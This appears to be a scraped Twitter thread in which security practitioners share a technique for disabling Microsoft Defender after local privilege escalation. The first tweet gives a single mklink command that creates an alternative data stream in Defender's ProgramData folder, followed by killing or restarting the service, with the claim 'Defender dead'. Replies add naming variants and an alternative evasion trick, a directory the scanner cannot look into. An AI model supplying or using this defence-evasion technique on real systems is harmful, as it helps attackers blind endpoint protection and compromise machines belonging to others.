Got an LPE and want to kill Defender? Command = <: mklink "C:\ProgramData\Microsoft\Windows Defender:wtf" \ :> then restart it/kill it with driver from something like process hacker. Defender dead. (greetz to anonymous person on discord for technique) https://www.hyperiongray.com/htp/
-
it sure is- my choice of alternative data stream names goes: q wtf omg omgwtf omgwtfbbq ads alt incedential watermark :)
but if you are gonna use it for that kinda stuff disabling defender is maybe overkill- just make a dir it cant look in.pic.twitter.com/7OdMuQ10EW
-
-
I tweeted a Rack911Labs thingy about that as well :). Just depends on use case and type of org being tested! Appreciate the original and glad someone knew who you were to credit you. I got it like... 3rd hand?
Thanks. Twitter will use this to make your timeline better. UndoUndo
-
Loading seems to be taking a while.
Twitter may be over capacity or experiencing a momentary hiccup. Try again or visit Twitter Status for more information.